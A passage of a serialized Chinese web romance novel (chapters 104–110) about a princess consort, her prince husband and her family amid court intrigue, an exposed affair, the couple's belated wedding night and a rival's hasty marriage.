夜庚新皱着眉直叹气,“我这姑母出嫁前还算端正,没想到嫁去幽州后,竟变得这般不堪。你们说的都对,这样的人,再与之来往,只会给我们增乱添祸。如果她再这般为老不尊,我必定要与她断了这姑侄之情!” 以前他把亲情看得太重,还想着让这姑母来操办他女儿的婚事。没想到这祖孙三人到了京城,下作手段不断。 甚至把他和九姑的清白都毁了! 夜时舒朝自家大哥看去,兄妹俩默契地笑了。 说完了范家祖孙,夜庚新这才发现女婿在一旁安静的吃着茶,于是赶紧说道,“王爷,你和舒儿今日进宫,也累了一天了,快些和舒儿回悦心院休息吧。一会儿我让郝福把饭菜送你们房里去。” 尉迟凌也不客气,“那我们今夜就留在将军府吧。” 夜庚新嘴角忍不住扬高,转头看向女儿,似是很为难地道,“舒儿,春夏秋冬四个丫鬟都随你去了承王府,现在悦心院也没个可用的人。要不,你把九姑叫来吧。” 夜时舒差点喷笑。 最后一句话才是重点吧! 她忍着笑朝尉迟凌看去。 尉迟凌单手握拳抵在唇上轻轻咳了咳,然后把文岩唤了进来。 “告诉九姑,本王和王妃要在将军府多住几日。” 文岩哪能不懂? 憋着笑暗戳戳了瞄了夜庚新一眼,赶紧应声跑了出去。 “那啥,我想起还有事,先回书房了。”夜庚新老脸再厚,装得再正经,也架不住他们看热闹的表情。 他一走,夜时珽也笑着离开了。 夜时舒带着尉迟凌回了悦心院。 刚要关房门,文墨突然来报,“王爷,御膳房有人自缢!” 闻言,夜时舒立马让他展开详情说说。 文墨道,“皇上下旨彻查各宫膳食,没想到旨意刚下,御膳房就有一宫人悬梁自缢。” “然后呢?”夜时舒追问,“皇上是何反应?” “回王妃,皇上还没发落,但出了自缢这事,宫中彻查得更严厉了。” 夜时舒和尉迟凌对眼相视,都忍不住勾唇。 他们想扳倒澜贵妃和太子,不是那么容易的。 眼下能做的就是让皇上先起疑心,改观对澜贵妃的态度。 再者,能给澜贵妃添堵,让她睡不好觉,那也是一件高兴的事。 “对了,王爷、王妃,还有一事,裕丰侯府今日请了大夫,探子暗中买通了那大夫,据大夫透露,游清柔有了身孕。” “真的?”夜时舒一听,一点都没掩饰自己的幸灾乐祸,“她还真是没让我们失望啊!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第105章 只想解馋 文墨继续说道,“探子还打听到一件事,那游清波命根子废了后,竟然失踪了,就连府中下人都不知道他去了哪。” 夜时舒柳眉不由地皱紧,“失踪了?” 文墨问道,“王妃,那游清波已经废了,会不会被裕丰侯夫妇撵出裕丰侯府了?” “不会。”夜时舒很笃定地摇头,“我那大舅母爱子如命,说她抛弃女儿还可信,要说她放弃儿子,不可能的。而且游清波出了事以后,她还去找过那个华平,这更说明她不会放弃儿子。” 夜时舒在寻找华平的事文墨他们早就听九姑说过了。 这会儿提到华平,文墨忍不住猜测,“难道游清波被华平带走了?” 夜时舒脸蛋绷得紧紧的,按压着怒火道,“十有八九!那晚我们跟踪温氏去找华平,温氏却从客栈离奇消失,等我们再去夜探侯府时,却听见游清波房中传出温氏的声音。虽然那晚的事让人费解,但我相信,肯定与华平有关!” 从顾思沫身上她可以推测出,华湘阁的弟子都不是泛泛之辈。即便华平已经被华湘阁除名,不再是华湘阁弟子,但其身上一定有常人没有的本事。 “王妃,听九姑说您在寻找华平,不知您找他做何?”文墨好奇地问道。 夜时舒不自然地愣了一下,并下意识地朝尉迟凌看去,然后别开脸小声道,“能不能抓到华平再说?因为我现在只是怀疑,需得找到华平才能确定一些事。” 与其说她这话是回答文墨的,不如说她是在同尉迟凌请示。 报上一世被毒杀之仇,这事她自然不会告诉任何人。 但通过上一世被毒杀的经历,她怀疑母亲的死不寻常,说不定也与温氏、葛氏、华平有关…… 所以,她必须找到华平! 尉迟凌给文墨使了个眼色,“下去吧,本王与王妃要休息了。” “是!”文墨应声后还不忘向夜时舒说道,“王妃,您放心,我们一定会帮您找到华平的!” “有劳你们了。”夜时舒微微一笑。 她现在已经能肯定,尉迟凌也是华湘阁的人。 难怪之前九姑说,如果想找华平,不妨告诉承王,说不定承王能帮上忙…… 待文墨退下,尉迟凌便将她拉进怀中,垂眸不满地看着她,“对一个素未蒙面的人如此上心,就不怕本王吃味?” 夜时舒忍不住掉黑线,抬头望着他妖孽般的脸,哭笑不得地调侃他,“王爷,你长这样还怕我移情别恋?” 尉迟凌唇角微扬,“哦?那王妃说说本王长何模样?” 夜时舒脸颊飘红,但还是踮起脚,大胆地在他唇上印下香吻,“能让人想入非非的模样。” 想入非非…… 尉迟凌唇角狠狠一抽。 看着近在咫尺昳丽无双的娇颜,他臂力紧收的同时将她吻住,撬开她贝齿便长驱直入。 他很高,需要夜时舒狠狠踮起脚尖,可被他吻着,夜时舒又觉得双脚发软,就在她担心自己要从他怀中滑落时,她突然被尉迟凌托起。 脚底悬空的瞬间,她本能地攀住尉迟凌腰身,加上勾着尉迟凌的双手,可以说整个人都挂在了尉迟凌身上。 不用去看他眸底的火热有多强烈,就是从他紧绷的身躯上,夜时舒也能感受到他此刻的念头。 她捧着他的脸,红着脸道,“我让人去准备热水……” 尉迟凌埋首在她鹅颈上吮着,沙哑呢喃,“不急……本王只是想解解馋……” 说着话,他托着她身子坐到床边。 夜时舒立马变成跨坐在他身上。 看着他腾出手要为她宽衣,她赶紧抓住他的手,不服气地道,“那我也要解馋!” 尉迟凌额头抵着她的,勾勒地唇角带着一丝邪魅,“你确定?” 夜时舒拉开他的手,立马去解他的腰封。 成亲后她一直扭扭捏捏,是因为误会了他心有所属,她尽可能地控制着不去喜欢他,甚至还想过等他的‘白月光’出现后自己就让位…… 如今误会解开了,她知他心中不曾有过任何人,只独属于他,那她还有什么好扭捏的? 见她是真要为自己宽衣解带,尉迟凌呼吸不由地紊乱,换他快速抓住她的手。 四目相对,彼此眼中都有藏不住的羞赧。 夜时舒脸红地挣开他的手,粉拳轻捶了一下他胸膛,不满地哼道,“就知道占我便宜,我看一下就不行!” 尉迟凌圈紧她身子,在她耳边笑道,“回王府让你看个够,嗯?” 他们圆房,自然是要在他们的新房中。他要真不讲究,不知道有多少机会早把她吃干抹净了。 “王爷、王妃。”文墨的声音从门外传来,“九姑来了。” 夫妻俩眼中同时又露出一丝尴尬。 还好什么都没做…… …… 九姑把春柳和夏花也一起带来了。 她来得快,夜庚新来得也快。她刚进悦心院还没来得及进房跟夫妻俩说话呢,夜庚新就进了悦心院,一本正经地问文墨,“王爷他们可在房里休息?” 文墨憋着笑,也一本正经地回道,“将军,王爷和王妃在房里休息,您找他们有事吗?” 夜庚新眼角余光快速瞥了一眼不远处的九姑,嘴上继续一本正经,“我找你家王妃有点事,不过他们忙了一整日,若是在休息,那也不急着打扰他们。我去凉亭坐坐,等他们休息够了再说。” 话音一落,他便头也不回地朝凉亭去。 文墨憋笑憋得肚子都痛了。 瞅了一眼身侧低头不语的九姑,他忍不住小声问道,“九姑,你真不打算跟将军说几句吗?” 九姑瞪了他一眼。 望着进入凉亭的身影,她不由地皱起眉。 比起她的为难,房间里的夜时舒更是为难。 出去吧,会破坏他爹的小心思。 不出去吧,他爹又赖在她院里不走。 关键是,他们夫妻在房里还得装作休息的样子,啥动静也不能有…… “王爷,我想吃紫琼山庄的红烧肘子,你陪我去好不?” “好。” “再把二哥二嫂还有大哥叫上?” 尉迟凌微蹙着眉心本想拒绝的,突然一想,他那二舅哥这会儿怕也是没‘闲着’…… 既然他们夫妻没法独处,那其他人也别想‘好过’! 想到这,他薄唇轻勾,“好,把他们都叫上!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第106章 一夜几次 凉亭里。 夜庚新坐了一刻钟左右,余光瞥到一女子身影走近凉亭。 他不由地正了正坐姿,佯装随和地开口,“九姑,我没想到他们会把你叫来。你要是觉得看我不顺眼,我现在就走。” 说完,他作势要起身。 “将军不必刻意避嫌。”九姑将茶水放到桌上。 夜庚新立马又坐下。 看着他那假模假样的动作,九姑不由得暗暗翻白眼。 “九姑,坐下说话吧。” “谢将军。”九姑福了福身,回道,“尊卑有别,恕奴婢不敢。” 夜庚新忍不住皱眉,“你不是奴籍,不用贱称自己。” 他的心思都放在脸上,九姑哪能不懂?不过这一点九姑还是敬佩他的,直爽总比那些耍心机的强。 所以她也没遮遮掩掩,坦荡地说道,“我知将军对我心存愧疚,但我也说过,那次意外不是将军的本意,将军也是受害者,我对将军没有任何怨言。我也知将军想弥补我,但将军身份贵重,我有自知之明,不敢妄想不属于自己的东西。” “会下棋吗?” 九姑本以为自己说完这些话夜庚新会认真思考他们的关系,谁知道他冷不丁来了这么一句,顿时让她懵怔,不知该作何反应。 夜庚新用手指敲了敲桌面,笑着与她说道,“你不喜欢提那事,那我们便不提。但我实在无聊,你可愿陪我下几局棋?” “……”九姑汗。 “就是下棋而已,这点要求不过分吧?” “……是。”她无奈地应道,“那将军稍等片刻,我这就去把棋取来。” 就在两人谈话间,有两道身影在文墨掩护下悄无声息地出了房门—— 紫琼山庄。 面对一桌价值不菲的酒菜,以往大大咧咧喜欢说笑的夜时竣这次却是一言不发。 不,不止一言不发,还臭着脸,特别是那眼神,不停地往某个妹夫身上剐,仿佛某个妹夫欠了他多少银子没还似的。 “二舅哥不是喜欢紫琼山庄的酒吗?怎不多喝几杯?”而某个妹夫似完全没看到他怨恨的眼神,还罕见地主动劝酒。 没人知道夜时竣心里有多呕血! 好不容易媳妇儿回家,他澡都没洗完呢,这无良的妹夫就派人来打搅! 别说面前这些酒菜了,就算龙肉摆在他面前,他现在也没胃口! 他就算想吃肉,也是吃自家媳妇儿的肉! “二哥,你怎么一直扳着个脸,可是哪里不舒服,要不让芯儿为你瞧瞧?”夜时舒忍不住逗他。 二哥二嫂出现的时候身上衣裳全换了,头发都还带着湿气,傻子也知道他们在房里做什么! 夜时竣直接冲她龇牙。 心里暗骂,这个没良心的家伙,搅了她好事还明知故问! 芯儿脸颊微红,暗中扯了扯他衣袖。 要说他们之中,最郁闷的当属夜时珽才对。瞧着弟弟、妹妹成双成对的,他实在不明白把他叫出来做什么? 嘲笑他是孤家寡人吗? “王爷。”文岩从门外进来,也没避讳任何人,直接禀道,“太子良娣骆丽娴在山庄里,方才有人看到魏永淮也进了山庄,且去了骆丽娴房中。” 这消息,让屋中五人同时朝文岩看去,特别是夜家三兄妹,皆是一脸的不可置信。 夜时竣最先惊讶道,“这对狗男女,他们还有私情?那骆丽娴都是东宫良娣了,她怎么敢背着太子幽会旧相好的?” 夜时舒一脸冷色。 自从骆丽娴是北蔺国五公主的身份曝光后,便频繁出宫,就她良娣的身份,若没有尉迟睿和祝华凝点头,她哪来的特权。 如果真是尉迟睿和祝华凝默许的,那他们一定没憋好屁! 尉迟凌朝文岩抬了抬眼皮,“盯着他们。” 文岩应声退了出去。 …… 就在夜时舒他们用膳之际,此刻某间雅室中,一对男女结束了缠绵。 抱着怀中的女人,魏永淮是从未有过的激动。 他做梦都没想到,已经成为太子良娣的骆丽娴会主动约见她,还愿意同他‘再续前缘’…… “娴儿,你可知我有多想你?这一个多月来,我每日借酒消愁,夜夜不得安眠,一闭上眼全是你……”伏在女人香汗淋淋的颈项中,他不断说着动人的情话,还不忘问她,“你在东宫过得可好?太子妃有为难你吗?” “淮哥哥,太子只是看重我身为北蔺国公主的身份,从进东宫至今,他从未碰过我,我都不与太子妃争宠,太子妃自然没道理为难我。”骆丽娴娇媚地在他耳鬓说道。 闻言,魏永淮又惊又喜,“他竟没碰过你?” 骆丽娴没好气地嗔道,“怎么,难道你还希望他碰我?” 魏永淮立马笑道,“当然不是!你是我的,从头到尾都只是我一个人的!” 说完,他又落下吻。 两人如同干柴遇上了烈火般,一发不可收拾,且这把‘火’久久未歇…… 再说夜时舒他们这边。 本来是想等着听消息的,想知道那对狗男女到底要做什么。 谁知道几个时辰过去了,文岩来报消息,说这两人还没完事。 偷情的男女没觉得尴尬,在等消息的他们五人反倒是尴尬得不行。 这么长的时间,要是派人去东宫送信让人来捉奸,都能跑两个来回了! “得!你们等消息吧,我跟芯儿去休息了!”夜时竣无语得先拉着顾思沫闪人。 良辰美景,他不抱着自己媳妇儿卿卿我我,居然在这里听别人苟合的消息…… “时候不早了,我也该回房休息了。”夜时珽黑着脸起身。 最无语的是他好不? 看弟弟、妹妹在眼前秀恩爱不说,还要听别人风流韵事,他都不知道自己出来究竟是做什么的! 他们三人一走,文岩又进房禀报,“王爷、王妃,他们总算完事了!” 夜时舒一脸黑,“……” 尉迟凌同样黑沉着脸,没好气地瞪着他,“你就不能说点有用的?” 文岩摸了摸后脑勺,为难道,“王爷,难道这事不重要?” 尉迟凌咬牙,“本王没让你去数他们一夜几次!” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第107章 终于圆房 文岩一脸尴尬,“王爷,属下没有……” “出去!” “是。” 看着文岩涨红着脸退下,夜时舒忍不住掩嘴失笑。 下一刻她被某爷卷入怀中,那冷调的嗓音便直入她耳朵,“笑什么?” 夜时舒笑说道,“笑我们大家啊!本来是出来玩乐的,结果听了一晚上别人的房中事!还是奸的那种!” 尉迟凌将她打横抱起,径直往内室去。 夜时舒看出他神色不对劲儿,遂勾住他脖子问道,“你不会还在介意我曾经和魏永淮定过亲吧?” 尉迟凌将她放床榻上,有些蛮横地扯掉自己腰封,速褪去身上长袍后,赤着胳膊就将她扑倒—— “唔唔……”夜时舒下意识地拍打他,只是打了两下,触及到他紧实的肌肤,她一下子变软了气势。 尉迟凌吻得她气息紊乱,转而又去亲吮她耳朵。 那双大手也没闲着,没几下便把夜时舒的衣裳全扔到了地上。 夜时舒明显感觉到他受了刺激,但又不像是为了她和魏永淮曾经的婚约,因为他之前有过吃味儿的表现,身上会有一种无法形容的怨气。 此时的他看着急躁,落在她身上的动作却带着别样的温柔,甚至她能感觉到他手心微颤,像是害怕她会推拒他…… 羞涩是肯定羞涩的,她活了两世,就算没经历过但也知道男女之间那点事,她很清楚接下来要发生什么。 但除了羞涩外,她对这桩婚事毫无抗拒之意,特别倪筱的事弄明白后,她甚至期待圆房…… “夫君……” 听到她呢喃的唤声,尉迟凌猛地僵住,火热的眸子凝视着她,似乎怀疑自己听错了。 夜时舒将脸埋进他颈窝里,再低声道,“我有点紧张,你能轻点吗?” 尉迟凌侧了侧脸,在她唇上轻啄着,沙哑道,“再唤声‘夫君’听听。” “夫君……唔……” 夜正浓,洞房花烛夜虽迟,但迟来的缱绻缠绵却更甚—— 对于外面的人和事,夜时舒无暇顾及,也没精力顾及,等她从某爷怀中醒来时,已是翌日午后了。 她记不清楚到底多少次,只知道某个男人像没吃过肉似的…… 不,不是像! 这不单是她的初次,也是他的初次! 一开始他还装得有模有样,但这种事没经验就是没经验,哪是能随便装的? 临到关键时刻,他笨得跟个迷路的傻子似的,又窘迫又不甘心…… 现在回想那场面,她当时有多疼,现在就有多想笑! 她抬了抬眼皮,入眼便是男人轮廓分明的下颚,再微微抬头,就见那两排浓密的眼睫安静地盖着双眼,很明显他还没醒。 想想也是,跟牛似的蛮横折腾了好几个时辰,哪有不累的? 这还是他去掉疤痕后,她第一次如此清晰地看到他睡颜。丰眉如山、鼻如峰,每一处都精致得如同精雕细琢,真的是般般入画,绝世迷人。 想到什么,她脸颊倏地涨红,紧接着低下头,并用手臂顶起被褥。 “爱妃看得可满意?”就在看得心口砰砰直跳时,头顶突然传来男人磁性的嗓音。 夜时舒瞬间僵住,只觉得脸上就似有火在烤一般,烫得她想尖叫! “我……我……” 突然,被褥被一把扯开。 尉迟凌猛地翻身将她压在身下。 夜时舒‘啊’一声抬手蒙住双眼。 尉迟凌直接被她这一动作逗笑了,很不给面子地拉下她的手,“都是你的了,还怕什么羞?” 夜时舒垂眸,结果这一看,没看到重点,却看到他身上被自己掐出的痕迹以及自己身上他用唇齿留下的‘烙印’。 “尉迟凌,你真的好过分!”想到他昨夜的纠缠不休,她忍不住朝他肩膀咬去。 “嗯?”尉迟凌眉心微蹙,偏着头也轻啃着她的鹅颈,“胆儿肥了,敢直呼本王名讳!” 夜时舒察觉到他又动了情,立马推他,红着脸恼道,“疼!你能不能怜惜我一点?” 真是快要了她命了! 尉迟凌翻下身,将她重新搂进怀中,又将被褥扯回他们身上。被褥下,他的手精准地找到她不适的地方,很有手法地为她揉捏推拿。 夜时舒窝在他怀里,舒服地忍不住哼出了声。 她不哼还好,尉迟凌是真想替她纾解难受,结果听到她这娇软的哼声,他身子不由地绷紧,低下头情难自禁地将她吻住。 一夜缠绵,他知她累极了,可他却是欲罢不能,仿佛怎么都要不够…… …… 隔壁雅室。 听着文岩禀报,夜时竣难以置信,“昨夜还好好的,怎么就染了风寒了?严重不?为何不让芯儿去给她看看?” 文岩笑着道,“二舅爷,我家王爷也懂一些医术,您别太担心。只是王妃需要静养,王爷就先带王妃回府了。王爷说,您和芯儿姑娘、以及大公子在山庄里好好玩,所有花销全记在承王府名下。” 夜时竣盯着他,突然问道,“文护卫,你怎么没走?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!文岩微微一愣,接着又笑说道,“这不是怕您和大舅爷玩得不够尽兴嘛,所以王爷让小的留下来给你们当差。” 夜时竣现在大多注意力都在顾思沫身上,并没有发现文岩有什么不对劲儿的。 反倒是一直没说话的夜时珽看到文岩那略藏尴尬的笑容,剑眉不由地暗挑了一下。 他家小妹是习武的身子,比那些娇养的闺秀们强了不是一星半点。何况昨夜所有人都在山庄里,哪里去受风寒? “时竣,你陪芯儿在此玩吧,我先回府了。”他还得回去看看自家老爹和九姑,也不知道他们进展如何了。 就在他刚起身,门外突然传来询问声,“二公子,您在里面吗?” 夜时竣一听,立即回道,“进来!” 来人是他派去裕丰侯府盯梢的小厮。 小厮推门进房,见都是自己人,便直言禀道,“二公子,今早裕丰侯夫妇派人去魏家议亲,魏家同意了,而且婚期就定在三日后。” 夜时竣一听,‘哈哈’笑道,“游清柔这是迫不急地想给自己腹中的野种找个爹啊!” 顾思沫微微蹙眉,有些不解地道,“游家的做法没问题,但那魏永淮昨晚还跟骆良娣好呢,怎么说另娶就另娶了?” 夜时竣嘲讽道,“魏永淮那狗东西最擅长的便是吃着碗里望着锅里!之前跟骆丽娴暗生奸情时,还不是装得人模狗样骗我们家小妹?” 他见自家大哥沉眉不语,脱口问道,“大哥,想什么呢?这魏、游两家的好戏不正是我们想看的吗?” 喜欢渣男与人暗度陈仓,我与王爷明修栈道请大家收藏:()渣男与人暗度陈仓,我与王爷明修栈道更新速度全网最快。 第108章 讨要礼物 当初反手整游清波和游清柔兄妹时,他们打的主意就是如此,让游清柔痛失清白,然后再嫁魏永淮! 夜时珽低沉道,“前阵子魏家去游家下聘,被拒后,魏家心生不满,两家似有断绝往来的趋势。游清柔现在因私怀野胎着急出嫁未可厚非,但魏家能如此爽快答应,并且仓促完婚,多少有些不合常理。” 夜时竣摸着下巴仔细一想,“也是哦,魏家之前下聘被扫了颜面,按理说怎么也该摆点谱才对,何况婚期如此仓促,以魏家人的德性,不像是他们的做派。莫非,这其中还有我们不知晓的内情?” 随即他朝小厮严肃下令,“继续盯着他们两家,有任何情况随时来报!” “是!”小厮领命退了出去。 …… 裕丰侯府。 从魏家商议完婚事回府后,温氏便开心地张罗着女儿出嫁事宜。 反倒是游清柔一脸愁云,把温氏拉进房里,不安地问她,“母亲,我现在怀着身孕,要是洞房那日魏永淮与我同房,我该怎办?先不论是否会伤着孩子,我最怕的是让他发现我不是处子身……” 温氏拉着她的手,得意地笑道,“这有何难的?娘早已经为你准备好了东西,只要成亲那日他喝下合衾酒,便会任你摆布。到时,你只需要弄点血做做样子便可。” 闻言,游清柔兴奋的双眼发亮,“好!一切都听母亲的!”想到什么,她突然问道,“母亲,前次他们来下聘被我们拒绝后,魏家就对我们多有不满,这次你和父亲是如何说服他们答应婚事的?” 提到这事,温氏更是骄傲地抬了抬下巴,哼哼笑道,“当然是他们有求于我!而且魏家还说了,只要我替他们办好了事,便给我黄金千两!” 游清柔惊讶不已,“黄金千两?魏家何时变得如此富足了?” 温氏鄙夷道,“他们自然是没有的,但他们现在靠着骆丽娴攀上了高枝,能拿出黄金千两的,当然是那高枝了!说起来,我真是不服气,魏家‘丢’了一个夜时舒,眼看着到手的嫁妆没了,没想到又蹦出一个北蔺国五公主,早知道骆丽娴是那样的身份,之前我就该让你哥把她撬回咱们侯府,让堂堂的一国公主给我做儿媳,那不是要什么有什么?” 游清柔安慰她,“母亲,你没必要再嫉妒他们。我马上就要嫁去魏家了,等我生下孩子,在魏家站稳了脚跟,管他魏家攀多少高枝,那不都是帮我攀的吗?” 还别说,真是这个理! 温氏立马笑开了颜,“柔儿放心,虽然婚期仓促,但母亲保证让你风风光光出嫁!”想到什么,她眼中又露出一抹算计,“夜家作为你姑亲,我得把夜庚新叫过来,让他给你添妆!咱们得不到游月琴的嫁妆,也不能便宜了姓夜的那家子,他们要是给少了,我可是不依的!” 游清柔一听,赶忙催促道,“说的对,他们家是该为我添妆,而且不能少!母亲,您赶紧去办,让他尽早把好东西送来侯府!” …… 魏家和游家结亲的事夜庚新也得到了消息。 只是一个时辰不到,游家就派人来了将军府,请他去侯府为游清柔添妆。 夜庚新气不打一处来,“他们一家子脸皮可真厚!” 伙同魏家欲使魏永淮玷污她女儿清白,后又设计打他家老二的主意,他夜家就差明面上与游建彬、温氏断绝往来了,没想到游建彬和温氏一点自知之明都没有,竟厚着脸皮上门讨礼! 郝福叹了口气,道,“将军,咱们明面上没有与他们翻脸,若是这礼不给,就温氏那撒泼的脾性,怕是会拿此事当我们的错处肆意诋毁我们。” 夜庚新沉着脸,不是他舍不得那点财物,而是一想到游建彬、温氏及一双儿女干的事,他就气恨难平。 “大公子、二公子、二少夫人他们人呢?还没回来吗?”他没好气地问郝福。 那几个兔崽子偷摸着跑出去,连声招呼也不打,而且到现在一个都没回来! 郝福忍不住失笑,“将军,大公子他们也是怕打扰到您和九姑。老奴听说他们去了紫琼山庄,估摸着他们玩尽兴了才会回来。” 夜庚新不自然地抿了抿唇,问道,“九姑起了吗?” 郝福道,“半个时辰前就起了,听说您在书房忙,她没让人来通知您。” 夜庚新耳根子莫名地红了起来。 似要掩饰什么,他随即挥手,“看在夫人的面上,你去库房挑两件礼物给游家送去。”顿了一下,他又沉声补充,“别挑太贵重的,他们不配!” “是!”郝福笑着应道。 他刚要退出书房,就见九姑端着食盘走了进来。 他朝九姑点了点头。 九姑也朝他点了点头。 看着她前来,夜庚新起身,道,“这些粗使活让他人去做便是,你没必要做这些!” 九姑把食盘放在书桌上,垂着眼道,“我不需要特殊对待。” 夜庚新见食盘里只有一份吃食,忍不住皱眉,“你不用吗?” 九姑道,“将军,王爷和王妃在紫琼山庄,我得过去。” 闻言,夜庚新不满地道,“他们去吃喝玩乐,你去做何?再说了,舒儿不是那种衣来伸手饭来张口的人,你不用太娇惯她!就算要娇惯,那也是王爷的事,他一个大男人,要是连自己女人都照顾不好,那也属实没用!” “……”九姑没接他的话,但唇角暗暗地抽了一下。 …… 听说夜庚新派人送来了礼,温氏很是自得。 然而,看到那单薄的两只礼盒,她脸上的笑瞬间消失,指着将军府的人便怒斥道,“我女儿出嫁,你们将军就送这点东西做添妆?我女儿好歹喊他一声姑父,难道这姑父是白喊的吗?把这些不值钱的玩意儿给我拿回去,告诉你们将军,他要是不给我女儿添够嫁妆,别怪我们背后戳他脊梁骨!” 第109章 后悔拒收 将军府的人什么话也没说,收回礼盒就离开了裕丰侯府。 人走了,温氏的怒火却没消,指着大门继续骂咧,“好个吝啬的将军府,传出去也不怕别人笑话!游月琴那短命的捞了我们侯府那么多银子,如今我侯府嫁女儿,你个将军府竟然一毛不拔!丧良心的东西,贪墨我们侯府的财产,早晚要遭天打雷劈!” 远处拐角,一对母女听着温氏的骂声,都嫌恶地皱紧了眉。 “母亲,大伯娘真的太过分了,姑母都去世那么多年了,她还如此辱骂姑母!” 二房马氏长长地叹了口气,对温氏这个大嫂是又恨又无奈。 从大伯哥承袭候位那一天起,裕丰侯府的荣耀富贵便如山崩地裂般全化成了沙,这些年被风刮得就剩一座空壳了。 他们二房没花过侯府一钱银子不说,马氏无德,还搅黄她儿女的婚事。说什么大房的子女都未婚嫁,二房的儿女绝不能赶前面婚嫁。 平日里她厌恨游建彬和温氏,几乎都是闭门不出,懒与他们见面。眼下她关注游清柔的婚事,也不过是为了自己女儿罢了。 不管游清柔嫁给谁,她只盼着游清柔早点嫁出去,如此她才好给她的女儿说亲事。 至于儿子,还有三个月儿子就要参加科考,一时间也无心儿女情长之事,她倒是不着急。 “馨儿,我们回去吧。” “是。”游宏馨搀着她离开,还忍不住回头朝大门望了一眼,眼中是藏不住的恨意。 她相信天道好轮回…… …… 温氏拒收礼物,夜庚新一点都没意外。 正准备让郝福把礼物收回库房,就见自家老大从外面回来。 “还以为你们要玩尽兴了才回府呢!” 见九姑在书房,此刻听到自家老爹没好气的语气,夜时珽别有深意地勾起唇角,“听闻爹和九姑在下棋,我们也是担心扰了你们雅静。” 九姑瞬间红了脸低下了头。 夜庚新虎起脸斥道,“既然回来了,那便去把游家的事解决了!” “游家又出何事了?”提起游家,夜时珽俊脸不由地一沉。 郝福赶忙将温氏讨礼的事告诉了他。 夜时珽听后,剑眉深锁,不多时,他低沉道,“那便免了这些繁文礼俗吧。” “大少爷,如此做怕是那侯夫人……” 不等郝福说完,夜时珽便冷哼,“就他们一家对我们所做的事,没与他们决裂已经是我们仁慈。何况他们贪得无厌,给再多他们也不会知足,既然横竖都要得罪,那不如一毛不拔。” 郝福想想,好像也是这么个理! 侯府大房一家人品恶劣,且又贪得无厌,将军和两位公子不在京城时,他们一家就没少来将军府搜刮值钱的东西。以前三小姐都忍着他们,想着是自己的亲娘舅,不与他们多计较。 但他们得了便宜不说,还要坑害三小姐和二公子,那谁还会惯着他们? “郝福,就按大公子说的去做。”夜庚新也赞同老大的意见,同时又交代道,“这几日若有人找我,就说我去了军营。” 换言之,侯府嫁女,他连面都不想露! 一个坑害他儿女的人,还想让他去撑牌面,做梦! “是。”郝福应声退了出去。 夜时珽看了看一旁低头不语的九姑,随即眸光又转向自家老爹,他微微勾唇,“爹,我还有事,就不打扰你们了。” 你们…… 夜庚新看着儿子嘴角那一抹别有深意的笑,老脸涨出了一丝红晕。 目送老大离开后,他眼神发怨地剜向九姑,“他们都跟人精似的,你以为能遮掩过去?” 九姑抬起头朝他翻了个白眼。 …… 眼看着女儿明日就出嫁了,温氏没再见到夜家任何人,气得她连夜派管家去将军府。 结果管家回来禀报,“夫人,夜将军和夜大公子几日前就去了军营,但谁也说不上来他们何时归府。那夜二公子虽然在京城,但听闻他近日在追求一女子,每日都没着家。” 温氏气得一脸扭曲,“他们人不在,难道就没为我家柔儿备礼吗?” 管家道,“我问过那郝福了,郝福说前两日将军亲自挑了两件贵重的珠宝并差人送来,是夫人您没收。”顿了一下,他又补充道,“小的还听郝福说,那两件珠宝,其中一件价值万两,另一件更是先皇后赏赐的,他说如此贵重的礼物被夫人嫌弃,将军实在找不到比之更贵重的东西为柔儿小姐添妆了。” “什么?价值万两?还有先皇后赏赐的?”温氏惊得脸色大失血。 当时她只看到两只小盒子,连打开都没有就让将军府的人带回去了…… 没想到那两件东西竟如此贵重! “母亲,您怎那般糊涂!那可是价值连城的东西啊!”一旁游清柔气得直跺脚。 温氏立马朝管家下令,“去!快去将军府把那两件东西拿回来!” 管家一脸哭相,“夫人,来不及了!小的当时就问了郝福,想要回那两件东西,可郝福说,东西退回去的当天夜里就被二公子拿走了!听说二公子看上了一女子,分外喜欢,把那两样贵重首饰拿去讨好那女子了!” “夜时竣!”温氏一口牙都险些咬碎,“那是给我家柔儿的东西,他凭什么拿去送人?什么下贱女子,值得他那般大方?不行,我得亲自去找他要回来!” 管家赶紧拦住她,“夫人,您去了也没用,那夜二公子都不在府上!” 温氏怒问,“那女子究竟是何方神圣?” 管家回道,“据说她是华湘阁的神医,几日前为承王治好了伤腿,还让承王恢复了容貌。” 华湘阁的弟子…… 温氏不听则以,听完脸色更是难看得吓人。 也不怪她消息不灵通,如今的裕丰侯府落魄得只剩一个头衔,根本不受京中权族贵胄待见。没有人脉的侯府,想知道有关皇室宗亲的事,自然就迟钝了。 再加上这两日张罗女儿出嫁事宜,她也没心思留意外面的事。 “母亲,你怎么了?”游清柔小声问道。 “没……没什么。”温氏回过神后摇了摇头。 她觉得自己过虑了。 华平早就不是华湘阁的弟子了,何况他现在也不可能与华湘阁弟子见面。就算魏家背后的那个人要华平做事,凭华平的本事,也不可能被人轻易拆穿。 实在不行,就想办法把那华湘阁弟子杀了便是。反正夜家那么可恨,娶什么媳妇,那父子三人最好一辈子光棍到底,然后断子绝孙! …… 紫琼山庄。 看着手中烫金的请柬,顾思沫一脸嫌恶,“我与魏家不熟,他们怎会给我送请柬?” 夜时竣把请柬从她手中抽走,往地上一扔,“理他们作甚?难道你不去,他们还敢拿刀架着你去?” 顾思沫点了点头,“也是。” 夜时竣握住她的手,‘嘿嘿’笑道,“我已经放出消息,正在追求你,你说咱们什么时候再成一次亲?” 顾思沫笑着嗔了他一眼,“要是我说不嫁呢?” 闻言,夜时竣脸上的笑瞬间一收,俊脸黑成了炭,一把将她紧紧抱住,“你敢不嫁试试!” 第110章 我好想你 顾思沫回抱着他腰身,又笑嗔了他一眼,“傻瓜,我要是不想跟你在一起,那我离开便是,何必留下来惹是非?” 她只要离开他,那天大地大,任她翱翔。 而留下来,以她华湘阁弟子的身份,注定不会宁静。 夜时竣何尝不懂这些道理? 可正是因为懂,所以他心中才有些着急,生怕她突然反悔留下了,于是他许诺道,“芯儿,等我们再成亲以后,我就找个借口带你离开京城,随便找个地方过日子!” 